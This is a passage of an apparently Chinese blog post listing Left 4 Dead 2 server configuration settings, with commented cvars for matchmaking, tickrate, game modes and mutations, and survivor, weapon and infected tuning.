class="line">//隐藏服务器</span><br><span class="line">//sv_tags "hidden"</span><br><span class="line">//ads_delay 45</span><br><span class="line"></span><br><span class="line">//mod一致性检查</span><br><span class="line">sv_consistency 0</span><br><span class="line">//正版服务器匹配参数限制</span><br><span class="line">sv_region 4</span><br><span class="line">sv_steamgroup "" //第一个组编号数字改成自己的组,其他为热门求生组</span><br><span class="line">sv_steamgroup_exclusive 1//允许什么玩家匹配?(0-公共游戏,1-组内成员,2-仅限好友)</span><br><span class="line">//人数设置</span><br><span class="line">sm_cvar sv_maxplayers 8</span><br><span class="line">sm_cvar sv_visiblemaxplayers 8</span><br><span class="line">sm_cvar sv_removehumanlimit 1</span><br><span class="line">//sm_cvar sv_force_unreserved 1</span><br><span class="line">//sv_allow_lobby_connect_only 0</span><br><span class="line">//正版大厅匹配</span><br><span class="line">sm_cvar fps_max 300</span><br><span class="line">sm_cvar allow_all_bot_survivor_team 1</span><br></pre></td></tr></table></figure><p>对抗模式</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">//100tick</span><br><span class="line">sm_cvar fps_max 0</span><br><span class="line">sm_cvar net_splitpacket_maxrate 30000</span><br><span class="line">sm_cvar nb_update_frequency 0.06</span><br><span class="line">sm_cvar sv_minrate 100000</span><br><span class="line">sm_cvar sv_maxrate 101000</span><br><span class="line">sm_cvar sv_mincmdrate 100</span><br><span class="line">sm_cvar sv_maxcmdrate 100</span><br><span class="line">sm_cvar sv_minupdaterate 100</span><br><span class="line">sm_cvar sv_maxupdaterate 100</span><br><span class="line">sm_cvar sv_client_min_interp_ratio -1</span><br><span class="line">sm_cvar sv_client_max_interp_ratio 2</span><br><span class="line">sm_cvar sv_maxplayers 8</span><br><span class="line">sm_cvar sv_visiblemaxplayers 8</span><br><span class="line">sm_cvar sv_allow_lobby_connect_only 1</span><br><span class="line"></span><br><span class="line">sv_tags "hidden"</span><br><span class="line">sm_cvar mp_gamemode "versus"// 设定为对抗模式</span><br><span class="line">sv_gametypes versus// 设定为对抗模式</span><br><span class="line">sm_cvar sb_all_bot_game 1// 防止人数不足而自动关闭</span><br><span class="line">sm_cvar sb_all_bot_team 1</span><br><span class="line">sm_cvar allow_all_bot_survivor_team 1// 真人玩家死亡后由电脑玩家组队进行游戏</span><br><span class="line">sm_cvar sb_escort 1 // 强制电脑玩家紧随其后</span><br><span class="line">sm_cvar director_allow_infected_bots 0// 关闭AI特感</span><br><span class="line">sv_allow_wait_command 0// 封禁wait指令</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line">coop //战役模式</span><br><span class="line"></span><br><span class="line">realism //写实模式</span><br><span class="line"></span><br><span class="line">versus //对抗模式</span><br><span class="line"></span><br><span class="line">teamversus //团队对抗模式</span><br><span class="line"></span><br><span class="line">mutation12 //写实对抗模式</span><br><span class="line"></span><br><span class="line">survival //生存模式</span><br><span class="line"></span><br><span class="line">scavenge //清道夫模式</span><br><span class="line"></span><br><span class="line">teamscavenge //团队清道夫模式</span><br><span class="line"></span><br><span class="line">community(1-6)&&mutation(1-20) //突变模式(总共26种不同内容)</span><br><span class="line">{</span><br><span class="line">community1 【特感速递】 4人合作 同屏最多8特,无小丧尸,每种特感的出现时间间隔20秒,特感刷新时间0秒,所以是8个槽位同时刷,每个槽位20秒刷一个,无等待时间,不停的刷。</span><br><span class="line">community2 【感染季节】 4人合作 同屏最多8特,只有bommer和spitter两种特感,特感刷新倒计时固定20秒。无小丧尸,但是被bommer喷到、打到警报车和开机关有丧尸群。</span><br><span class="line">community3 【骑师派对】 8人对抗 特感方都是jockey,而且移动超快,无小丧尸(包括开警报后)</span><br><span class="line">community4 【梦魇】 4人合作 生存者模式,只有17个场景 同屏最多8特,战役模式设定,但无队友轮廓,场景有浓雾。</span><br><span class="line">community5 【死亡之门】 4人合作 每关开始只有药没有包,倒地即死。</span><br><span class="line">community6 【药抗】 8人对抗,只有药和针,取消高级武器,每关tank,更合理的对抗记分方式。</span><br><span class="line">mutation1 【孤身一人】 1人单机 只有一个人没有小丧尸,只有特感(除BOOMER),倒地自起、控制的特感也会放开,但是会黑白。</span><br><span class="line">mutation2 【枪枪爆头】 4人合作 小丧尸只有爆头才会死。</span><br><span class="line">mutation3 【血流不止】 4人合作 这个模式从关卡开头就是虚血【并持续减血】,全图无包,只有靠药瓶和针维持血量。</span><br><span class="line">mutation4 【绝境求生】 4人合作 同屏最多8特,战役模式设定,每种特感的出现时间间隔20秒,特感刷新时间15秒,所以是8个槽位同时刷,每个槽位15-20秒刷一个,但特感刷新由导演系统控制,倒计时结束,不会不停的刷新。</span><br><span class="line">mutation5 【四剑客】 4人合作 一出场只有4把武士刀</span><br><span class="line">mutation7 【电锯帮】 4人合作 武器只有4个无限油的电锯</span><br><span class="line">mutation8 【铁人意志】 4人合作 团灭以后直接回到大厅,不会重新开始某个小关游戏</span><br><span class="line">mutation9 【侏儒卫队】 4人合作 玩家必须携带一个侏儒玩偶来躲避丧尸的攻击到达安全门</span><br><span class="line">mutation10 【一人救赎】 4人合作 只有一个人能终关逃生</span><br><span class="line">mutation11 【没有救赎】 8人对抗 全关没有包和药</span><br><span class="line">mutation12 【写实对抗】 8人对抗 写实模式设定的对抗</span><br><span class="line">mutation13 【清道肆虐】 8人对抗 线性清道夫,每次只有1个位置出现油桶, 每个新位置比上一个+2桶</span><br><span class="line">mutation14 【无法近身】 4人合作 全关没有近战武器,只有一把无限子弹M60和麦林手枪</span><br><span class="line">mutation15 【生存对抗】 8人对抗 使用生存模式计分规则</span><br><span class="line">mutation16 【猎人派对】 4人合作 特殊感染者都是hunter</span><br><span class="line">mutation17 【孤胆枪手】 1人单机 只有一个人一把沙鹰,特感保留bommer、witch和tank,小丧尸伤害高</span><br><span class="line">mutation18 【失血对抗】 8人对抗 所有幸存者虚血(并持续减血),全图无包</span><br><span class="line">mutation19 【Tank!!!!!!】 8人对抗 扮演感染者方全是做tank</span><br><span class="line">mutation20 【侏儒治愈】 4人合作 所有幸存者虚血【并持续减血】,全图无包,抱着侏儒的人可以回复血量</span><br><span class="line">} </span><br><span class="line">dash Dash</span><br><span class="line">l4d1coop Left 4 Dead 1 Coop</span><br><span class="line">l4d1vs Left 4 Dead 1 Versus</span><br><span class="line">l4d1survival Left 4 Dead 1 Survival</span><br><span class="line">gunbrain GunBrain</span><br><span class="line">holdout Holdout</span><br><span class="line">shootzones Shootzones</span><br><span class="line">tankrun Tank Run</span><br><span class="line">rocketdude RocketDude </span><br></pre></td></tr></table></figure><p>完整版</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line">//管理密码</span><br><span class="line">rcon_password "0"</span><br><span class="line"></span><br><span class="line">//游戏模式</span><br><span class="line">sm_cvar mp_gamemode "coop"</span><br><span class="line"></span><br><span class="line">//服务器人数破解</span><br><span class="line">l4d_maxplayers 4</span><br><span class="line">sv_maxplayers 4</span><br><span class="line">sv_visiblemaxplayers 4</span><br><span class="line">sv_removehumanlimit 1</span><br><span class="line">sv_force_unreserved 1</span><br><span class="line"></span><br><span class="line">//服务器难度锁定</span><br><span class="line">// Difficulty Setting: easy, normal, hard, impossible</span><br><span class="line">z_difficulty "impossible"</span><br><span class="line"></span><br><span class="line">//限制投票</span><br><span class="line">sm_cvar sv_allow_votes "1"</span><br><span class="line"></span><br><span class="line">//正版服务器匹配参数限制</span><br><span class="line">sv_region 4 </span><br><span class="line">sv_steamgroup "114514"</span><br><span class="line">sv_steamgroup_exclusive 0</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">//插件开关 1=ON/0=OFF</span><br><span class="line">sm_advertisements_enabled 1</span><br><span class="line"></span><br><span class="line">//广告播放延时默认30s</span><br><span class="line">sm_advertisements_interval 60</span><br><span class="line">ads_delay 45</span><br><span class="line"></span><br><span class="line">//不允许正版大厅匹配到</span><br><span class="line">sv_allow_lobby_connect_only 0</span><br><span class="line"></span><br><span class="line">//地区代码:</span><br><span class="line">sm_cvar sv_region "4"</span><br><span class="line"></span><br><span class="line">// 作弊开关(1\0)</span><br><span class="line">sv_cheats 0 </span><br><span class="line"></span><br><span class="line"></span><br><span class="line">//关闭模型[MOD]冲突</span><br><span class="line">sm_cvar sv_consistency 0</span><br><span class="line"></span><br><span class="line">//隐藏服务器</span><br><span class="line">sv_tags hidden</span><br><span class="line">sv_tags "hidden"</span><br><span class="line"></span><br><span class="line">//tick</span><br><span class="line">sm_cvar fps_max 300</span><br><span class="line">sm_cvar sv_minrate 100000</span><br><span class="line">sm_cvar sv_maxrate 100000</span><br><span class="line">sm_cvar sv_minupdaterate 100</span><br><span class="line">sm_cvar sv_maxupdaterate 100</span><br><span class="line">sm_cvar sv_mincmdrate 100</span><br><span class="line">sm_cvar sv_maxcmdrate 100</span><br><span class="line">sm_cvar nb_update_frequency 0.1</span><br><span class="line">sm_cvar net_splitrate 2 </span><br><span class="line">sm_cvar net_splitpacket_maxrate 100000</span><br><span class="line">sm_cvar sv_client_min_interp_ratio 1</span><br><span class="line">sm_cvar sv_client_max_interp_ratio 1</span><br><span class="line"></span><br><span class="line">// 防止人数不足而自动关闭</span><br><span class="line">sm_cvar sb_all_bot_game 1</span><br><span class="line"></span><br><span class="line">//玩家死亡时电脑组成队伍继续游戏</span><br><span class="line">sm_cvar allow_all_bot_survivor_team 1 </span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>幸存者参数介绍</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br></pre></td><td class="code"><pre><span class="line">队友伤害,0为关闭</span><br><span class="line">survivor_friendly_fire_factor_easy 0.2</span><br><span class="line">survivor_friendly_fire_factor_normal 0.2</span><br><span class="line">survivor_friendly_fire_factor_hard 0.4</span><br><span class="line">survivor_friendly_fire_factor_expert 0.6</span><br><span class="line">火焰伤害,0为关闭</span><br><span class="line">survivor_burn_factor_easy 0.1</span><br><span class="line">survivor_burn_factor_normal 0.2</span><br><span class="line">survivor_burn_factor_hard 0.3</span><br><span class="line">survivor_burn_factor_expert 0.5</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">survivor_crouch_speed 75 蹲著的速度(默认:75 数字越大越快)</span><br><span class="line">rescue_min_dead_time "3" 人死掉后3秒就可以出现在任一房间给人救</span><br><span class="line">survivor_revive_health "75" 躺在地上被人拉起来的血量</span><br><span class="line">survivor_revive_duration "1.75" 拉人起来的时间1.75秒</span><br><span class="line">first_aid_kit_use_duration "1" 用急救包的时间 ,这里是1秒救治疗好了。</span><br><span class="line"></span><br><span class="line">sm_cvar first_aid_heal_percent "1" //医疗包恢复生命百分比,这里为1,即100%</span><br><span class="line">sm_cvar first_aid_kit_max_heal "500" //医疗包恢复生命数</span><br><span class="line">sm_cvar first_aid_kit_range "200" //医疗包恢复生命距离</span><br><span class="line">sm_cvar first_aid_kit_use_duration "1" //医疗包恢复生命所需时间(秒)</span><br><span class="line">sm_cvar z_survivor_respawn_health "100" //重生后的血量</span><br><span class="line">sm_cvar pain_pills_health_value "100" //止痛药的补血量,默认40</span><br><span class="line">sm_cvar pain_pills_decay_rate "0.10" //止痛药的损耗速度,默认0.34</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">//丢东西的力量</span><br><span class="line">sm_cvar z_throw_force "5000"</span><br><span class="line">//右键推的力量,默认为25</span><br><span class="line">sm_cvar z_gun_physics_force "500"</span><br><span class="line">//右键推的范围</span><br><span class="line">sm_cvar z_gun_range "75"</span><br><span class="line">//盖特机枪冷却时间</span><br><span class="line">sm_cvar z_minigun_cooldown_time "3"</span><br><span class="line">//盖特机枪过热时间</span><br><span class="line">sm_cvar z_minigun_overheat_time "60"</span><br><span class="line">//盖特机枪攻击范围</span><br><span class="line">sm_cvar z_minigun_rate_of_fire "1500"</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">//AI随机放置汽油弹密度(设为0就等于禁止了汽油弹)</span><br><span class="line">//sm_cvar director_molotov_density "0"</span><br><span class="line">//AI随机放置土制****密度(设为0就等于禁止了土制)</span><br><span class="line">//sm_cvar director_pipe_bomb_density "0"</span><br><span class="line">//土制****的爆炸时间</span><br><span class="line">sm_cvar pipe_bomb_timer_duration "8"</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">sm_cvar inferno_damage 10 说明:这是火焰的燃烧秒数(明火)</span><br><span class="line">sm_cvar inferno_flame_lifetime 10 说明:这是燃烧持续的秒数(实际火焰-暗火)</span><br><span class="line">sm_cvar inferno_flame_spacing 1000 说明:这是燃烧刚开始的距离</span><br><span class="line">sm_cvar inferno_max_range 2000 说明:这是燃烧距离的最大值(最后出现火焰的最大范围)</span><br><span class="line">sm_cvar inferno_max_flames 32 说明:这是火焰扩散的次数</span><br><span class="line"></span><br><span class="line">// 队友伤害</span><br><span class="line">sm_cvar survivor_friendly_fire_factor_expert "0.2"</span><br><span class="line">//服务器密码</span><br><span class="line">rcon_password "250631941"</span><br><span class="line"></span><br><span class="line">//关闭队友投票权</span><br><span class="line">sm_cvar sv_allow_votes "0"</span><br><span class="line"></span><br><span class="line">//电脑BOT开枪延迟,默认0,改成10电脑BOT完全没用</span><br><span class="line">sm_cvar sb_open_fire "0"</span><br><span class="line"></span><br><span class="line">// 激活服务端中文名称</span><br><span class="line">sm_namehost 1</span><br><span class="line"></span><br><span class="line">//开启修改</span><br><span class="line">Sv_Cheats 0</span><br><span class="line"></span><br><span class="line">//躺下后依然可以移动</span><br><span class="line">sm_cvar survivor_allow_crawling "1"</span><br><span class="line">sm_cvar survivor_crawl_speed "160"</span><br><span class="line"></span><br><span class="line">//双重跳指令</span><br><span class="line">sm_cvar sm_doublejump_enabled "0"</span><br><span class="line">sm_cvar sm_doublejump_max "0"</span><br><span class="line">//---------------------------------------</span><br><span class="line"></span><br><span class="line">//人死掉后3秒就可以出现在任一房间给人救,默认60</span><br><span class="line">sm_cvar rescue_min_dead_time "300"</span><br><span class="line"></span><br><span class="line">/没有电脑BOT帮助</span><br><span class="line">sm_cvar director_no_survivor_bots "0"</span><br><span class="line"></span><br><span class="line">//右键速度默认 0.7 越低越快 (0.19)</span><br><span class="line">sm_cvar z_gun_swing_interval "0.5"</span><br><span class="line"></span><br><span class="line">//蹲下移动速度变快</span><br><span class="line">sm_cvar survivor_crouch_speed "120"</span><br><span class="line"></span><br><span class="line">//丢东西的力量</span><br><span class="line">sm_cvar z_throw_force "1000"</span><br><span class="line"></span><br><span class="line">//右键推的力量,默认为25</span><br><span class="line">sm_cvar z_gun_physics_force "100"</span><br><span class="line"></span><br><span class="line">//右键推的范围 默认为75</span><br><span class="line">sm_cvar z_gun_range "100"</span><br><span class="line"></span><br><span class="line">// 近战武器每次攻击间隔 (默认1.2秒)</span><br><span class="line">sm_cvar melee_combo_reset_time "0.5"</span><br><span class="line"></span><br><span class="line">// 近战武器最大推怪数量</span><br><span class="line">sm_cvar melee_collateral_shove_count "20"</span><br><span class="line"></span><br><span class="line">// 近战武器伤害范围数值越高能砍得越远 (默认70)</span><br><span class="line">sm_cvar melee_range "180"</span><br><span class="line"></span><br><span class="line">// 近战武器力量(默认20)</span><br><span class="line">sm_cvar melee_force_scalar "100"</span><br><span class="line"></span><br><span class="line">// 近战武器显示摆动(默认0)</span><br><span class="line">sm_cvar melee_show_swing "1"</span><br><span class="line"></span><br><span class="line">//生还者受伤时行走速度</span><br><span class="line">sm_cvar survivor_limp_walk_speed "120"</span><br><span class="line"></span><br><span class="line">倒下后到了这个数值后就会死(不确定,可能是倒下血到了1后仍然没有被队友拉起的话就会死亡)</span><br><span class="line">sm_cvar survivor_max_incapacitated_count "1"</span><br><span class="line"></span><br><span class="line">此数值以下称为受伤(貌似是40、20还是10忘了,血量到了这个数值后玩家就会变成瘸腿)</span><br><span class="line">sm_cvar survivor_limp_health "10"</span><br><span class="line"></span><br><span class="line"> //口水婆吐在地面酸液的存在时间,默认10秒(PS:即受到10秒伤害。)</span><br><span class="line">sm_cvar z_spitter_high_chance "30"</span><br><span class="line"></span><br><span class="line">//口水婆喷吐距离半径默认900(PS:这个距离是指以spitte为起点吐向玩家的距离半径)</span><br><span class="line">sm_cvar z_spit_range "1000"</span><br><span class="line"></span><br><span class="line">//酸液每0.5秒加乘默认0.3的扣血量(PS:这个参数是配合上面酸液存在的时间相互使用的。酸液存在10的秒里,每半秒扣除3点血。10秒即为受到30点血的损伤,修改时须保留小数点后一位。)</span><br><span class="line">sm_cvar z_spit_latency "0.9"</span><br><span class="line"></span><br><span class="line">//口水婆吐出酸液之前的僵直时间默认0.1秒(PS:即口水婆原地立正过X秒后才可向玩家吐出酸液)</span><br><span class="line">sm_cvar z_spit_detonate_delay "0.1"</span><br><span class="line"></span><br><span class="line">// Spitter 大吐婆的移动速度</span><br><span class="line">z_spitter_speed 500</span><br><span class="line"></span><br><span class="line">//--------------------------------------------</span><br><span class="line"></span><br><span class="line">//爆炸子弹爆裂度</span><br><span class="line">sm_cvar upgrade_explosive_bullet_force "800"</span><br><span class="line">sm_cvar upgrade_explosive_slug_force "800"</span><br><span class="line">upgrade_laser_sight_spread_factor 1</span><br><span class="line"></span><br><span class="line">//榴弹炮伤害</span><br><span class="line">grenadelauncher_damage "100"</span><br><span class="line"></span><br><span class="line">//对其它玩家的伤害面</span><br><span class="line">grenadelauncher_ff_scale "1"</span><br><span class="line"></span><br><span class="line">//对自身的伤害面</span><br><span class="line">grenadelauncher_ff_scale_self "1"</span><br><span class="line"></span><br><span class="line">//范围伤害力</span><br><span class="line">grenadelauncher_force_kill "100"</span><br><span class="line"></span><br><span class="line">//绝对伤害范围,此范围内小僵尸必杀</span><br><span class="line">grenadelauncher_radius_kill "100 "</span><br><span class="line"></span><br><span class="line">//伤害范围冲击波大小</span><br><span class="line">grenadelauncher_radius_stumble "500"</span><br><span class="line"></span><br><span class="line">//是否显示伤害范围</span><br><span class="line">grenadelauncher_show_radius "1"</span><br><span class="line"></span><br><span class="line">//榴弹炮发射速度(默认1200)</span><br><span class="line">grenadelauncher_velocity "1200"</span><br><span class="line">//--------------------------------------------</span><br><span class="line"></span><br><span class="line">//每次刷新出现的胖子的数量,默认1</span><br><span class="line">sm_cvar z_boomer_limit "3"</span><br><span class="line"></span><br><span class="line">//每次刷新出现的烟鬼的数量</span><br><span class="line">sm_cvar z_gas_limit "3"</span><br><span class="line"></span><br><span class="line">//每次刷新出现的猎人的数量</span><br><span class="line">sm_cvar z_hunter_limit "5"</span><br><span class="line"></span><br><span class="line">// Charge同时出现数量(默认1)</span><br><span class="line">sm_cvar z_charger_limit "4"</span><br><span class="line"></span><br><span class="line">//最大同时出现数量</span><br><span class="line">z_jockey_limit "3"</span><br><span class="line"></span><br><span class="line">//口水婆最高刷新数量(已测试能用,嘿..注意不是同时在一个地点刷这么多)</span><br><span class="line">z_spitter_limit "3"</span><br><span class="line"></span><br><span class="line">//----------------------------------------</span><br><span class="line"></span><br><span class="line">//Boomer 胖子的生命值</span><br><span class="line">z_exploding_health "2000"</span><br><span class="line"></span><br><span class="line">// Charge生命(默认600)</span><br><span class="line">sm_cvar z_charger_health "1200"</span><br><span class="line"></span><br><span class="line">// Hunter生命(默认250)</span><br><span class="line">sm_cvar z_hunter_health "600"</span><br><span class="line"></span><br><span class="line">//烟鬼生命值 默认250(默认250)</span><br><span class="line">sm_cvar z_gas_health "800"</span><br><span class="line"></span><br><span class="line">// Jockey生命(默认325)</span><br><span class="line">sm_cvar z_jockey_health "800"</span><br><span class="line"></span><br><span class="line">// 大吐婆的生命值</span><br><span class="line">z_spitter_health "800"</span><br><span class="line">//-----------------------------------------</span><br><span class="line"></span><br><span class="line">// 设置为1,使用有效出现雾气</span><br><span class="line">sm_cvar z_fog_spawn 1</span><br><span class="line">//----------------------------------------</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">//-----------------------------------------</span><br><span class="line"></span><br><span class="line">//女巫生命值,默认1000</span><br><span class="line">z_witch_health "1000"</span><br><span class="line"></span><br><span class="line">//女巫的发飙范围,默认200</span><br><span class="line">sm_cvar z_witch_berserk_range "100"</span><br><span class="line"></span><br><span class="line">//女巫的燃烧时间,烧完就死了</span><br><span class="line">sm_cvar z_witch_burn_time "5"</span><br><span class="line"></span><br><span class="line">//女巫的伤害,默认100</span><br><span class="line">sm_cvar z_witch_damage "150"</span><br><span class="line"></span><br><span class="line">//女巫对手电筒照射的反应范围,默认400</span><br><span class="line">sm_cvar z_witch_flashlight_range "50"</span><br><span class="line"></span><br><span class="line">//Witch 女巫的移动速度</span><br><span class="line">z_witch_speed 1000</span><br><span class="line"></span><br><span class="line">//-----------------------------------------</span><br><span 